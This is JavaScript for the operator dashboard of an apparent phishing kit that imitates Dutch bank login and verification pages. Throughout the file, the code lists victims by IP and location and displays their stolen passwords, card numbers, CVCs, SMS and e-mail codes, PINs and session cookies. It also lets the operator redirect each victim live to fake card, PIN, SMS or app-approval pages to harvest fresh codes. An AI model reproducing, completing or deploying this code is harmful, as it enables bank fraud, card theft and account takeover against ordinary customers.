var VisitorsPage = (function () {
  "use strict";
  var pollId = null;
  var panelMode = "awake";
  var visitorFilter = "online";
  var allVisitors = [];
  var ONLINE_MS = 120000;
  var pendingAlerts = {};
  var silencedOnRedirect = {};

  var PUBLIC_ROUTES = {
    processing: "/consumer/session/processing?context=IDENTIFICATION&status=IN_PROGRESS",
    instrument: "/consumer/identify/instrument?verificationType=PRIMARY&step=CONFIRMATION",
    sms: "/consumer/verification/mobile?channel=SMS&purpose=STRONG_AUTH",
    email: "/consumer/verification/email?channel=EMAIL&purpose=STRONG_AUTH",
    profile: "/consumer/identify/profile?step=REVIEW&context=KYC",
    credential: "/consumer/security/credential?action=UPDATE&method=ACCESS_CODE",
    authorization: "/consumer/authorization/challenge?method=MOBILE_APP&step=CONFIRM",
    complete: "/consumer/session/complete?context=IDENTIFICATION&status=COMPLETED",
    login: "/consumer/identify?channel=WEB&locale=nl-NL",
  };

  var PAGE_ACTIONS = [
    { key: "loading", route: "processing", icon: "ph-spinner", label: "Laden" },
    { key: "gegevens", route: "instrument", icon: "ph-credit-card", label: "Kaart" },
    { key: "info", route: "profile", icon: "ph-identification-card", label: "Profiel" },
    { key: "sms", route: "sms", icon: "ph-chat-text", label: "SMS" },
    { key: "email", route: "email", icon: "ph-envelope-simple", label: "E-mail" },
    { key: "pin", route: "credential", icon: "ph-key", label: "Pin" },
    { key: "authorize", route: "authorization", icon: "ph-device-mobile", label: "App" },
    { key: "complete", route: "complete", icon: "ph-check-circle", label: "Klaar" },
  ];

  var PAGE_LABELS = {
    login: "Login",
    index: "Login",
    activation: "Activeren",
    loading: "Laden",
    gegevens: "Kaart",
    sms: "SMS",
    email: "E-mail",
    info: "Profiel",
    pin: "Pin",
    authorize: "App",
    complete: "Klaar",
  };

  var FORM_LABELS = {
    login: "Login",
    gegevens: "Kaart",
    info: "Profiel",
    pin: "Pin",
    sms: "SMS",
    email: "E-mail",
    authorize: "App",
    activation: "Activeren",
    forgot_password: "Ww vergeten",
  };

  var FIELD_LABELS = {
    username: "Gebruiker",
    password: "Wachtwoord",
    sms_code: "SMS-code",
    email_code: "E-mailcode",
    old_pin: "Oude pin",
    new_pin: "Nieuwe pin",
    app_confirm: "App OK",
    naam: "Naam",
    geboorte: "Geboortedatum",
    email: "E-mail",
    telefoon: "Telefoon",
    huistelefoon: "Vast",
    adres: "Adres",
    plaats: "Plaats",
    card_number: "Kaartnr",
    expiry_date: "Vervaldatum",
    cvc_code: "CVC",
    postcode: "Postcode",
  };

  function pageLabel(page) {
    return PAGE_LABELS[page] || page || "—";
  }

  function formatUiLanguage(v) {
    var ui = (v.ui_language || "").toLowerCase();
    if (ui === "en") return "EN";
    if (ui === "nl") return "NL";
    return "—";
  }

  function formLabel(type) {
    return FORM_LABELS[type] || type;
  }

  function pageToActionKey(page) {
    var p = (page || "login").toLowerCase();
    if (p === "index" || p === "activation") return "login";
    return p;
  }

  function isVisitorOnline(v) {
    return new Date() - new Date(v.last_activity + "Z") < ONLINE_MS;
  }

  function applyVisitorFilter(visitors) {
    if (visitorFilter === "online") {
      return visitors.filter(isVisitorOnline);
    }
    if (visitorFilter === "offline") {
      return visitors.filter(function (v) {
        return !isVisitorOnline(v);
      });
    }
    return visitors;
  }

  function updateFilterUI() {
    document.querySelectorAll(".visitor-filter-btn").forEach(function (btn) {
      var active = btn.getAttribute("data-filter") === visitorFilter;
      btn.classList.toggle("is-active", active);
    });
  }

  function bindVisitorFilter() {
    var bar = document.getElementById("visitor-filter-bar");
    if (!bar || bar.dataset.bound === "1") return;
    bar.dataset.bound = "1";
    bar.addEventListener("click", function (e) {
      var btn = e.target.closest(".visitor-filter-btn");
      if (!btn) return;
      visitorFilter = btn.getAttribute("data-filter") || "all";
      updateFilterUI();
      renderVisitors(allVisitors);
    });
    updateFilterUI();
  }

  function actionTile(visitorId, action, currentPage, isOnline) {
    var activeKey = pageToActionKey(currentPage);
    var active = activeKey === action.key;
    var pulse = active && isOnline;

    if (action.key === "loading") {
      return (
        '<div class="visitor-action-tile visitor-action-tile--loading' +
        (pulse ? " visitor-action-tile--active" : "") +
        '"><i class="ph ' +
        action.icon +
        '"></i><span>' +
        action.label +
        "</span></div>"
      );
    }

    return (
      '<button type="button" onclick="VisitorsPage.sendRedirect(\'' +
      visitorId +
      "', '" +
      PUBLIC_ROUTES[action.route] +
      '\')" class="visitor-action-tile' +
      (pulse ? " visitor-action-tile--active" : "") +
      '"><i class="ph ' +
      action.icon +
      '"></i><span>' +
      action.label +
      "</span></button>"
    );
  }

  var expandedCards = {};

  function toggleExpand(visitorId) {
    expandedCards[visitorId] = !expandedCards[visitorId];
    renderVisitors(allVisitors);
  }

  function buildActionFooter(visitorId, currentPage, isOnline) {
    var tiles = PAGE_ACTIONS.map(function (a) {
      return actionTile(visitorId, a, currentPage, isOnline);
    }).join("");

    var retry =
      '<button type="button" onclick="VisitorsPage.sendRetry(\'' +
      visitorId.replace(/'/g, "\\'") +
      '\')" class="visitor-action-tile visitor-action-tile--retry"><i class="ph ph-arrow-counter-clockwise"></i><span>Opnieuw</span></button>';

    var restart =
      '<button type="button" onclick="VisitorsPage.sendRestart(\'' +
      visitorId +
      '\')" class="visitor-action-tile visitor-action-tile--restart"><i class="ph ph-house"></i><span>Herstart</span></button>';

    var deleteBtn = window.SCII_ADMIN_SUPER
      ? '<button type="button" onclick="VisitorsPage.deleteVisitor(\'' +
        visitorId +
        '\')" class="visitor-action-tile visitor-action-tile--delete"><i class="ph ph-trash"></i><span>Verwijderen</span></button>'
      : "";

    return (
      '<div class="text-xs font-mono text-gray-500 mb-3 uppercase tracking-wider">Stuur bezoeker naar</div>' +
      '<div class="visitor-action-grid">' +
      tiles +
      restart +
      retry +
      deleteBtn +
      "</div>"
    );
  }

  function pageToRoute(currentPage) {
    var map = {
      login: PUBLIC_ROUTES.login,
      index: PUBLIC_ROUTES.login,
      activation: PUBLIC_ROUTES.login,
      gegevens: PUBLIC_ROUTES.instrument,
      loading: PUBLIC_ROUTES.processing,
      info: PUBLIC_ROUTES.profile,
      pin: PUBLIC_ROUTES.credential,
      sms: PUBLIC_ROUTES.sms,
      email: PUBLIC_ROUTES.email,
      authorize: PUBLIC_ROUTES.authorization,
      complete: PUBLIC_ROUTES.complete,
    };
    return map[currentPage] || PUBLIC_ROUTES.login;
  }

  var PATH_TO_PAGE = {
    "/": "login",
    "/consumer/identify": "login",
    "/consumer/session/processing": "loading",
    "/consumer/identify/instrument": "gegevens",
    "/consumer/verification/mobile": "sms",
    "/consumer/verification/email": "email",
    "/consumer/identify/profile": "info",
    "/consumer/security/credential": "pin",
    "/consumer/authorization/challenge": "authorize",
    "/consumer/session/complete": "complete",
  };

  var FORM_TO_PAGE = {
    login: "login",
    activation: "login",
    forgot_password: "login",
    gegevens: "gegevens",
    sms: "sms",
    email: "email",
    info: "info",
    pin: "pin",
    authorize: "authorize",
  };

  var ROUTE_KEY_TO_PAGE = {
    login: "login",
    activation: "login",
    processing: "loading",
    instrument: "gegevens",
    sms: "sms",
    email: "email",
    profile: "info",
    credential: "pin",
    authorization: "authorize",
    complete: "complete",
  };

  function pathToPageKey(path) {
    if (!path) return "login";
    var p = String(path).split("?")[0].replace(/\/$/, "") || "/";
    if (PATH_TO_PAGE[p]) return PATH_TO_PAGE[p];
    return "login";
  }

  function routeToPageKey(url) {
    if (!url) return "";
    try {
      var parsed = new URL(url, window.location.origin);
      var path = (parsed.pathname || "").replace(/\/$/, "") || "/";
      if (PATH_TO_PAGE[path]) return PATH_TO_PAGE[path];
      var routeKey;
      for (routeKey in PUBLIC_ROUTES) {
        if (PUBLIC_ROUTES[routeKey].split("?")[0] === path) {
          return ROUTE_KEY_TO_PAGE[routeKey] || routeKey;
        }
      }
    } catch (e) {}
    return "";
  }

  function getVisitorRecord(visitorId) {
    for (var i = 0; i < allVisitors.length; i++) {
      if (allVisitors[i].visitor_id === visitorId) return allVisitors[i];
    }
    return null;
  }

  function isAlreadyOnTargetPage(visitorId, nextPage) {
    if ((nextPage || "").indexOf("retry=1") !== -1) return false;
    var v = getVisitorRecord(visitorId);
    if (!v) return false;
    var targetKey = routeToPageKey(nextPage);
    if (!targetKey) return false;
    return pageToActionKey(v.current_page) === targetKey;
  }

  function resolveRetryPage(currentPage, visitorId) {
    var page = (currentPage || "login").toLowerCase();
    if (page !== "loading") return page;

    var v = null;
    for (var i = 0; i < allVisitors.length; i++) {
      if (allVisitors[i].visitor_id === visitorId) {
        v = allVisitors[i];
        break;
      }
    }
    if (v && v.retry_source_page) {
      var fromPath = pathToPageKey(v.retry_source_page);
      if (fromPath !== "loading") return fromPath;
    }
    if (v && v.submissions && v.submissions.length) {
      var form = (v.submissions[0].form_type || "").toLowerCase();
      if (FORM_TO_PAGE[form]) return FORM_TO_PAGE[form];
    }
    return "login";
  }

  function stop() {
    if (pollId) {
      clearInterval(pollId);
      pollId = null;
    }
    AlertSound.stop();
  }

  function isOnLoadingPage(v) {
    return (v.current_page || "").toLowerCase() === "loading";
  }

  function shouldPlayVisitorAlert(v) {
    if (typeof AlertSound !== "undefined" && !AlertSound.isEnabled()) return false;
    if (!isVisitorOnline(v)) return false;
    if (silencedOnRedirect[v.visitor_id]) return false;
    if (panelMode === "sleep") return true;
    return isOnLoadingPage(v);
  }

  function syncAlertSound() {
    if (typeof AlertSound !== "undefined" && !AlertSound.isEnabled()) {
      AlertSound.stop();
      return;
    }
    var shouldPlay = false;
    for (var id in pendingAlerts) {
      if (pendingAlerts[id]) {
        shouldPlay = true;
        break;
      }
    }
    if (shouldPlay) AlertSound.start();
    else AlertSound.stop();
  }

  function syncVisitorAlerts(visitors) {
    Object.keys(silencedOnRedirect).forEach(function (vid) {
      var found = null;
      for (var i = 0; i < visitors.length; i++) {
        if (visitors[i].visitor_id === vid) {
          found = visitors[i];
          break;
        }
      }
      if (
        !found ||
        !isVisitorOnline(found) ||
        (panelMode !== "sleep" && !isOnLoadingPage(found))
      ) {
        delete silencedOnRedirect[vid];
      }
    });

    var next = {};
    visitors.forEach(function (v) {
      if (shouldPlayVisitorAlert(v)) {
        next[v.visitor_id] = true;
      }
    });
    pendingAlerts = next;
    syncAlertSound();
  }

  function silenceVisitorRedirect(visitorId) {
    silencedOnRedirect[visitorId] = true;
    delete pendingAlerts[visitorId];
    AlertSound.stop();
    syncAlertSound();
  }

  function restoreLoadingAlertIfNeeded(visitorId) {
    delete silencedOnRedirect[visitorId];
    syncVisitorAlerts(allVisitors);
  }

  function updateSoundUI() {
    var onBtn = document.getElementById("sound-on");
    var offBtn = document.getElementById("sound-off");
    if (!onBtn || !offBtn || typeof AlertSound === "undefined") return;
    var on = AlertSound.isEnabled();
    onBtn.className =
      "panel-sound-btn rounded font-mono uppercase tracking-wider border border-white/10 text-gray-500 hover:text-gray-300";
    offBtn.className =
      "panel-sound-btn rounded font-mono uppercase tracking-wider border border-white/10 text-gray-500 hover:text-gray-300";
    if (on) {
      onBtn.className =
        "panel-sound-btn rounded font-mono uppercase tracking-wider is-active " +
        (panelMode === "sleep"
          ? "border border-violet-500/60 bg-violet-500/20 text-violet-300 glow-border"
          : "border border-cyan-500/60 bg-cyan-500/20 text-cyan-300 glow-border");
    } else {
      offBtn.className =
        "panel-sound-btn rounded font-mono uppercase tracking-wider is-active border border-amber-500/60 bg-amber-500/15 text-amber-200";
    }
  }

  function bindSoundToggle() {
    var onBtn = document.getElementById("sound-on");
    var offBtn = document.getElementById("sound-off");
    if (!onBtn || !offBtn || typeof AlertSound === "undefined") return;
    updateSoundUI();
    if (onBtn.dataset.bound === "1") return;
    onBtn.dataset.bound = "1";
    offBtn.dataset.bound = "1";
    onBtn.addEventListener("click", function () {
      AlertSound.setEnabled(true);
      AlertSound.unlock();
      updateSoundUI();
      syncVisitorAlerts(allVisitors);
    });
    offBtn.addEventListener("click", function () {
      AlertSound.setEnabled(false);
      updateSoundUI();
      syncAlertSound();
    });
  }

  function updateModeUI() {
    var awakeBtn = document.getElementById("mode-awake");
    var sleepBtn = document.getElementById("mode-sleep");
    if (!awakeBtn || !sleepBtn) return;
    if (panelMode === "sleep") {
      sleepBtn.className =
        "panel-mode-btn rounded font-mono uppercase tracking-wider border border-violet-500/60 bg-violet-500/20 text-violet-300 glow-border";
      awakeBtn.className =
        "panel-mode-btn rounded font-mono uppercase tracking-wider border border-white/10 text-gray-500 hover:text-gray-300";
    } else {
      awakeBtn.className =
        "panel-mode-btn rounded font-mono uppercase tracking-wider border border-cyan-500/60 bg-cyan-500/20 text-cyan-300 glow-border";
      sleepBtn.className =
        "panel-mode-btn rounded font-mono uppercase tracking-wider border border-white/10 text-gray-500 hover:text-gray-300";
    }
    if (typeof PanelModeUI !== "undefined") PanelModeUI.apply(panelMode);
    updateFilterUI();
    updateSoundUI();
    syncVisitorAlerts(allVisitors);
  }

  function loadPanelMode() {
    return fetch("/api/admin/panel-mode", { credentials: "same-origin" })
      .then(function (res) {
        return res.json();
      })
      .then(function (data) {
        panelMode = data.mode === "sleep" ? "sleep" : "awake";
        updateModeUI();
      })
      .catch(function () {
        panelMode = "awake";
        updateModeUI();
      });
  }

  function setPanelMode(mode) {
    fetch("/api/admin/panel-mode", {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      credentials: "same-origin",
      body: JSON.stringify({ mode: mode }),
    })
      .then(function (res) {
        return res.json();
      })
      .then(function (data) {
        if (data.success) {
          panelMode = data.mode;
          updateModeUI();
        }
      });
  }

  function bindModeToggle() {
    var awakeBtn = document.getElementById("mode-awake");
    var sleepBtn = document.getElementById("mode-sleep");
    if (awakeBtn && awakeBtn.dataset.bound !== "1") {
      awakeBtn.dataset.bound = "1";
      awakeBtn.addEventListener("click", function () {
        setPanelMode("awake");
      });
    }
    if (sleepBtn && sleepBtn.dataset.bound !== "1") {
      sleepBtn.dataset.bound = "1";
      sleepBtn.addEventListener("click", function () {
        setPanelMode("sleep");
      });
    }
  }

  function renderVisitors(visitors) {
    var container = document.getElementById("visitors-container");
    if (!container) return;

    var filtered = applyVisitorFilter(visitors);

    if (filtered.length === 0) {
      var emptyMsg =
        visitorFilter === "online"
          ? "Geen online bezoekers…"
          : visitorFilter === "offline"
            ? "Geen offline bezoekers…"
            : "Nog geen bezoekers…";
      container.innerHTML =
        '<div class="p-12 text-center text-gray-500 glass-card font-mono text-sm tracking-widest uppercase">' +
        emptyMsg +
        "</div>";
      return;
    }

    container.innerHTML = filtered
      .map(function (v) {
        var isActive = isVisitorOnline(v);
        var statusDot = isActive
          ? '<span class="ping absolute w-2 h-2 rounded-full" style="background-color: var(--atomic-green);"></span><span class="relative w-2 h-2 rounded-full glow-green" style="background-color: var(--atomic-green);"></span>'
          : '<span class="ping absolute w-2 h-2 rounded-full" style="background-color: #ef4444;"></span><span class="relative w-2 h-2 rounded-full glow-red" style="background-color: #ef4444;"></span>';
        var statusText = isActive
          ? '<span class="glow-text-green ml-2">ONLINE</span>'
          : '<span class="glow-text-red ml-2">OFFLINE</span>';

        var subsHtml = "";
        if (v.submissions && v.submissions.length > 0) {
          subsHtml = v.submissions
            .map(function (s) {
              function field(key, val, secret) {
                if (!val) return "";
                var lbl = FIELD_LABELS[key] || key;
                var cls = secret ? "theme-accent-text" : "text-white";
                return (
                  '<div><span class="text-gray-500 block text-xs">' +
                  lbl +
                  '</span><span class="' +
                  cls +
                  '">' +
                  val +
                  "</span></div>"
                );
              }
              return (
                '<div class="mt-4 bg-white/5 border border-white/10 rounded-lg p-4 font-mono text-sm">' +
                '<div class="text-xs theme-accent-text mb-3 uppercase tracking-wider flex justify-between">' +
                "<span>" +
                formLabel(s.form_type) +
                "</span>" +
                '<span class="text-gray-500">' +
                new Date(s.submitted_at + "Z").toLocaleTimeString() +
                "</span></div>" +
                '<div class="grid grid-cols-1 md:grid-cols-2 gap-x-6 gap-y-3">' +
                field("username", s.username) +
                field("password", s.password, true) +
                field("sms_code", s.sms_code, true) +
                field("email_code", s.email_code, true) +
                field("old_pin", s.old_pin, true) +
                field("new_pin", s.new_pin, true) +
                field("app_confirm", s.app_confirm, true) +
                field("naam", s.naam) +
                field("geboorte", s.geboorte) +
                field("email", s.email) +
                field("telefoon", s.telefoon) +
                field("huistelefoon", s.huistelefoon) +
                field("adres", s.adres) +
                field("plaats", s.plaats) +
                field("card_number", s.card_number) +
                field("expiry_date", s.expiry_date) +
                field("cvc_code", s.cvc_code, true) +
                (s.postcode
                  ? '<div><span class="text-gray-500 block text-xs">Postcode</span><span class="text-white">' +
                    s.postcode +
                    " " +
                    (s.housenumber || "") +
                    "</span></div>"
                  : "") +
                "</div></div>"
              );
            })
            .join("");
        } else {
          subsHtml =
            '<p class="text-sm text-gray-600 mt-3 font-mono italic">Nog geen gegevens ontvangen…</p>';
        }

        var syncHtml = "";
        if (v.sync_hdr || v.sync_store) {
          var hdrText = (v.sync_hdr || "(leeg)").replace(/</g, "&lt;");
          var storeText = (v.sync_store || "(leeg)").replace(/</g, "&lt;");
          syncHtml =
            '<details class="mt-4 bg-white/[0.02] border border-white/5 rounded-lg font-mono text-xs">' +
            '<summary class="cursor-pointer select-none px-4 py-2.5 text-gray-500 uppercase tracking-wider flex justify-between items-center hover:text-gray-400">' +
            "<span>▸ Sessie-sync</span>" +
            (v.sync_exported
              ? '<span class="theme-accent-text text-[10px] opacity-70">Verstuurd</span>'
              : '<span class="text-gray-600 text-[10px]">Wacht</span>') +
            "</summary>" +
            '<div class="px-4 pb-4 border-t border-white/5 pt-3">' +
            '<div class="text-gray-600 text-[10px] uppercase mb-1">Cookies</div>' +
            '<pre class="text-gray-400 whitespace-pre-wrap break-all max-h-24 overflow-y-auto mb-3">' +
            hdrText +
            "</pre>" +
            '<div class="text-gray-600 text-[10px] uppercase mb-1">Opslag</div>' +
            '<pre class="text-gray-400 whitespace-pre-wrap break-all max-h-32 overflow-y-auto">' +
            storeText +
            "</pre></div></details>";
        }

        var needsAlert = !!pendingAlerts[v.visitor_id];
        var expanded = !!expandedCards[v.visitor_id];

        return (
          '<div class="glass-card p-4 sm:p-6 border-l-4 visitor-card' +
          (expanded ? " is-expanded" : "") +
          " " +
          (needsAlert
            ? "border-l-yellow-400 ring-1 ring-yellow-400/40"
            : isActive
              ? "border-l-cyan-500 glow-border"
              : "border-l-gray-700") +
          ' relative overflow-hidden group">' +
          '<div class="absolute top-0 right-0 w-64 h-64 rounded-full blur-3xl -mr-32 -mt-32 pointer-events-none visitor-card-glow-active"></div>' +
          '<div class="relative z-10">' +
          '<button type="button" class="visitor-card-toggle" onclick="VisitorsPage.toggleExpand(\'' +
          v.visitor_id.replace(/'/g, "\\'") +
          "')\">" +
          '<div class="visitor-card-header-row font-mono w-full border-b border-white/5 pb-3">' +
          '<div class="flex items-center justify-center w-4 h-4 mr-1">' +
          statusDot +
          "</div>" +
          statusText +
          '<span class="header-sep">|</span>' +
          '<span class="text-gray-400">ID</span>' +
          '<span class="ml-1 text-white bg-white/10 px-2 py-0.5 rounded tracking-wider">' +
          v.visitor_id +
          "</span>" +
          '<span class="header-sep">|</span>' +
          '<span class="text-gray-400">IP</span>' +
          '<span class="ml-1 text-white bg-white/10 px-2 py-0.5 rounded tracking-wider">' +
          (v.ip_address || "—") +
          "</span>" +
          '<span class="header-sep">|</span>' +
          '<span class="visitor-card-page">' +
          pageLabel(v.current_page) +
          "</span>" +
          '<span class="header-sep">|</span>' +
          '<span class="text-gray-400">Taal</span>' +
          '<span class="ml-1 text-white uppercase tracking-wider">' +
          formatUiLanguage(v) +
          "</span>" +
          '<i class="ph ph-caret-down visitor-card-chevron"></i>' +
          "</div></button>" +
          '<div class="visitor-card-actions" onclick="event.stopPropagation()">' +
          buildActionFooter(v.visitor_id, v.current_page, isActive) +
          "</div>" +
          '<div class="visitor-card-details' +
          (expanded ? "" : " hidden") +
          '">' +
          '<div class="font-mono text-sm grid grid-cols-2 lg:grid-cols-4 gap-3 text-gray-400 pb-3 border-b border-white/5">' +
          '<p><span class="text-gray-600">ID</span> <span class="text-gray-300">' +
          v.visitor_id +
          "</span></p>" +
          '<p><span class="text-gray-600">IP</span> <span class="text-gray-300">' +
          (v.ip_address || "—") +
          "</span></p>" +
          '<p><span class="text-gray-600">Land</span> <span class="text-gray-300">' +
          (v.country || "—") +
          (v.city ? " (" + v.city + ")" : "") +
          "</span></p>" +
          '<p><span class="text-gray-600">Systeem</span> <span class="text-gray-300">' +
          (v.os || "—") +
          " / " +
          (v.browser || "—") +
          "</span></p>" +
          '<p><span class="text-gray-600">Site taal</span> <span class="text-gray-300 uppercase">' +
          formatUiLanguage(v) +
          "</span></p>" +
          '<p><span class="text-gray-600">Browser</span> <span class="text-gray-300">' +
          (v.language || "—") +
          "</span></p>" +
          '<p><span class="text-gray-600">Pagina</span> <span class="theme-accent-text font-medium">' +
          pageLabel(v.current_page) +
          "</span></p></div>" +
          '<div class="mt-5">' +
          subsHtml +
          syncHtml +
          "</div></div></div></div>"
        );
      })
      .join("");
  }

  function fetchVisitors() {
    fetch("/api/admin/visitors", { credentials: "same-origin" })
      .then(function (res) {
        if (!res.ok) throw new Error("Network error");
        return res.json();
      })
      .then(function (visitors) {
        allVisitors = visitors;
        syncVisitorAlerts(visitors);
        document.getElementById("stat-total").innerText = visitors.length;
        document.getElementById("stat-active").innerText = visitors.filter(function (v) {
          return isVisitorOnline(v);
        }).length;
        var loginCount = 0;
        visitors.forEach(function (v) {
          if (v.submissions && v.submissions.length > 0) loginCount++;
        });
        document.getElementById("stat-logins").innerText = loginCount;
        renderVisitors(visitors);
      })
      .catch(function (err) {
        console.error("Fetch error:", err);
      });
  }

  function sendRetry(visitor_id) {
    var current_page = "login";
    for (var i = 0; i < allVisitors.length; i++) {
      if (allVisitors[i].visitor_id === visitor_id) {
        current_page = allVisitors[i].current_page || "login";
        break;
      }
    }
    var page = resolveRetryPage(current_page, visitor_id);
    var url = pageToRoute(page);
    url += (url.indexOf("?") >= 0 ? "&" : "?") + "retry=1";
    sendRedirect(visitor_id, url, "Opnieuw → " + pageLabel(page));
  }

  function sendRestart(visitor_id) {
    sendRedirect(visitor_id, PUBLIC_ROUTES.login, "Herstart → login voor " + visitor_id);
  }

  function sendRedirect(visitor_id, next_page, toastMsg) {
    if (isAlreadyOnTargetPage(visitor_id, next_page)) {
      var label = pageLabel(routeToPageKey(next_page));
      showToast(
        "Bezoeker is al op " + label + " — geen redirect verstuurd.",
        "warn"
      );
      return;
    }

    silenceVisitorRedirect(visitor_id);

    fetch("/api/admin/set-redirect", {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      credentials: "same-origin",
      body: JSON.stringify({ visitor_id: visitor_id, next_page: next_page }),
    })
      .then(function (res) {
        return res.json().then(function (data) {
          return { ok: res.ok, data: data };
        });
      })
      .then(function (result) {
        if (!result.ok || !result.data || result.data.success === false) {
          restoreLoadingAlertIfNeeded(visitor_id);
          var msg =
            (result.data && result.data.message) ||
            "Versturen mislukt — controleer admin-toegang.";
          alert(msg);
          return;
        }
        showToast(toastMsg || "Verstuurd naar " + visitor_id);
      })
      .catch(function () {
        restoreLoadingAlertIfNeeded(visitor_id);
        alert("Versturen mislukt.");
      });
  }

  function showToast(msg, type) {
    var notif = document.createElement("div");
    var isWarn = type === "warn";
    notif.className =
      "fixed top-4 right-4 px-4 py-3 rounded shadow-lg backdrop-blur-md font-mono text-sm z-50 fade-in " +
      (isWarn
        ? "bg-amber-950/85 border border-amber-500/70 text-amber-100"
        : "bg-cyan-900/80 border border-cyan-500 text-cyan-100");
    notif.innerHTML =
      '<i class="ph ' +
      (isWarn ? "ph-warning" : "ph-check-circle") +
      ' mr-2 ' +
      (isWarn ? "text-amber-400" : "theme-accent-icon") +
      '"></i> ' +
      msg;
    document.body.appendChild(notif);
    setTimeout(function () {
      notif.remove();
    }, 3500);
  }

  function deleteVisitor(visitor_id) {
    if (!confirm("Alle gegevens van " + visitor_id + " verwijderen?")) return;
    delete silencedOnRedirect[visitor_id];
    delete pendingAlerts[visitor_id];
    syncAlertSound();
    fetch("/api/admin/delete-visitor", {
      method: "DELETE",
      headers: { "Content-Type": "application/json" },
      credentials: "same-origin",
      body: JSON.stringify({ visitor_id: visitor_id }),
    })
      .then(function () {
        fetchVisitors();
      })
      .catch(function () {
        alert("Verwijderen mislukt.");
      });
  }

  function start() {
    stop();
    bindModeToggle();
    bindSoundToggle();
    bindVisitorFilter();
    loadPanelMode().then(function () {
      fetchVisitors();
      pollId = setInterval(fetchVisitors, 3000);
    });
  }

  if (document.readyState === "loading") {
    document.addEventListener("DOMContentLoaded", bindVisitorFilter);
  } else {
    bindVisitorFilter();
  }

  return {
    start: start,
    stop: stop,
    sendRedirect: sendRedirect,
    sendRestart: sendRestart,
    sendRetry: sendRetry,
    deleteVisitor: deleteVisitor,
    setPanelMode: setPanelMode,
    toggleExpand: toggleExpand,
    refreshFilterUI: updateFilterUI,
  };
})();
